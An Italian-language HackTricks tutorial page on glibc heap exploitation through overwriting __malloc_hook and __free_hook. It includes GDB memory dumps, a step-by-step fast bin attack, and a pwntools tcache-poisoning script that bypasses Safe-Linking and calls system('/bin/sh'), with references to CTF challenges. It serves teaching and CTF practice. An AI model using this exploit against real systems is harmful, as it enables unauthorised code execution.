WWW2Exec - __malloc_hook & __free_hook
Reading time: 7 minutes
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Malloc Hook
Come puoi vedere nel sito ufficiale di GNU, la variabile __malloc_hook
è un puntatore che punta all'indirizzo di una funzione che verrà chiamata ogni volta che viene chiamato malloc()
, memorizzato nella sezione dati della libreria libc. Pertanto, se questo indirizzo viene sovrascritto con un One Gadget, ad esempio, e viene chiamato malloc
, il One Gadget verrà chiamato.
Per chiamare malloc è possibile aspettare che il programma lo chiami o **chiamando printf("%10000$c")**, che alloca troppi byte, facendo sì che
libc` chiami malloc per allocarli nell'heap.
Ulteriori informazioni su One Gadget in:
warning
Nota che i hook sono disabilitati per GLIBC >= 2.34. Ci sono altre tecniche che possono essere utilizzate su versioni moderne di GLIBC. Vedi: https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md.
Free Hook
Questo è stato abusato in uno degli esempi della pagina che sfrutta un attacco fast bin dopo aver abusato di un attacco unsorted bin:
È possibile trovare l'indirizzo di __free_hook
se il binario ha simboli con il seguente comando:
gef➤ p &__free_hook
In the post puoi trovare una guida passo passo su come localizzare l'indirizzo del free hook senza simboli. In sintesi, nella funzione free:
gef➤ x/20i free
0xf75dedc0 : push ebx
0xf75dedc1 : call 0xf768f625
0xf75dedc6 : add ebx,0x14323a
0xf75dedcc : sub esp,0x8
0xf75dedcf : mov eax,DWORD PTR [ebx-0x98]
0xf75dedd5 : mov ecx,DWORD PTR [esp+0x10]
0xf75dedd9 : mov eax,DWORD PTR [eax]--- BREAK HERE
0xf75deddb : test eax,eax ;<
0xf75deddd : jne 0xf75dee50
Nel punto di interruzione menzionato nel codice precedente, in $eax
si troverà l'indirizzo del free hook.
Ora viene eseguito un fast bin attack:
- Prima di tutto, si scopre che è possibile lavorare con fast chunks di dimensione 200 nella posizione
__free_hook
: gef➤ p &__free_hook
$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook> gef➤ x/60gx 0x7ff1e9e607a8 - 0x59 0x7ff1e9e6074f: 0x0000000000000000 0x0000000000000200 0x7ff1e9e6075f: 0x0000000000000000 0x0000000000000000 0x7ff1e9e6076f <list_all_lock+15>: 0x0000000000000000 0x0000000000000000 0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000
- Se riusciamo a ottenere un fast chunk di dimensione 0x200 in questa posizione, sarà possibile sovrascrivere un puntatore a funzione che verrà eseguito.
- Per questo, viene creato un nuovo chunk di dimensione
0xfc
e la funzione unita viene chiamata con quel puntatore due volte, in questo modo otteniamo un puntatore a un chunk liberato di dimensione0xfc*2 = 0x1f8
nel fast bin. - Poi, la funzione di modifica viene chiamata in questo chunk per modificare l'indirizzo
fd
di questo fast bin per puntare alla precedente funzione__free_hook
. - Successivamente, viene creato un chunk di dimensione
0x1f8
per recuperare dal fast bin il precedente chunk inutile, quindi viene creato un altro chunk di dimensione0x1f8
per ottenere un fast bin chunk nel__free_hook
che viene sovrascritto con l'indirizzo della funzionesystem
. - E infine, viene liberato un chunk contenente la stringa
/bin/sh\x00
chiamando la funzione di eliminazione, attivando la funzione__free_hook
che punta a system con/bin/sh\x00
come parametro.
Tcache poisoning & Safe-Linking (glibc 2.32 – 2.33)
glibc 2.32 ha introdotto Safe-Linking – un controllo di integrità che protegge le liste singolarmente collegate utilizzate da tcache e fast-bins. Invece di memorizzare un puntatore in avanti grezzo (fd
), ptmalloc ora lo memorizza offuscato con il seguente macro:
#define PROTECT_PTR(pos, ptr) (((size_t)(pos) >> 12) ^ (size_t)(ptr))
#define REVEAL_PTR(ptr) PROTECT_PTR(&ptr, ptr)
Conseguenze per lo sfruttamento:
- Un heap leak è obbligatorio – l'attaccante deve conoscere il valore di runtime di
chunk_addr >> 12
per creare un puntatore offuscato valido. - Solo il puntatore a 8 byte completo può essere falsificato; sovrascritture parziali di un byte non supereranno il controllo.
Un primitivo minimo di avvelenamento tcache che sovrascrive __free_hook
su glibc 2.32/2.33 quindi appare come:
from pwn import *
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
p = process("./vuln")
# 1. Leak a heap pointer (e.g. via UAF or show-after-free)
heap_leak = u64(p.recvuntil(b"\n")[:6].ljust(8, b"\x00"))
heap_base = heap_leak & ~0xfff
fd_key = heap_base >> 12 # value used by PROTECT_PTR
log.success(f"heap @ {hex(heap_base)}")
# 2. Prepare two same-size chunks and double-free one of them
a = malloc(0x48)
b = malloc(0x48)
free(a)
free(b)
free(a) # tcache double-free ⇒ poisoning primitive
# 3. Forge obfuscated fd that points to __free_hook
free_hook = libc.sym['__free_hook']
poison = free_hook ^ fd_key
edit(a, p64(poison)) # overwrite fd of tcache entry
# 4. Two mallocs: the second one returns a pointer to __free_hook
malloc(0x48) # returns chunk a
c = malloc(0x48) # returns chunk @ __free_hook
edit(c, p64(libc.sym['system']))
# 5. Trigger
bin_sh = malloc(0x48)
edit(bin_sh, b"/bin/sh\x00")
free(bin_sh)
Il frammento sopra è stato adattato da recenti sfide CTF come UIUCTF 2024 – «Rusty Pointers» e openECSC 2023 – «Babyheap G», entrambe le quali si basavano su bypass di Safe-Linking per sovrascrivere __free_hook
.
Cosa è cambiato in glibc ≥ 2.34?
A partire da glibc 2.34 (agosto 2021), i ganci di allocazione __malloc_hook
, __realloc_hook
, __memalign_hook
e __free_hook
sono stati rimossi dall'API pubblica e non sono più invocati dall'allocatore. I simboli di compatibilità sono ancora esportati per i binari legacy, ma sovrascriverli non influisce più sul controllo del flusso di malloc()
o free()
.
Implicazione pratica: su distribuzioni moderne (Ubuntu 22.04+, Fedora 35+, Debian 12, ecc.) devi passare a altri primitivi di hijack (IO-FILE, __run_exit_handlers
, vtable spraying, ecc.) perché le sovrascritture dei ganci falliranno silenziosamente.
Se hai ancora bisogno del vecchio comportamento per il debug, glibc fornisce libc_malloc_debug.so
che può essere pre-caricato per riabilitare i ganci legacy – ma la libreria non è destinata alla produzione e potrebbe scomparire nelle future versioni.
Riferimenti
- https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook
- https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md.
- Safe-Linking – Eliminazione di un primitivo di exploit malloc() di 20 anni (Check Point Research, 2020)
- Note di rilascio di glibc 2.34 – rimozione dei ganci malloc
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.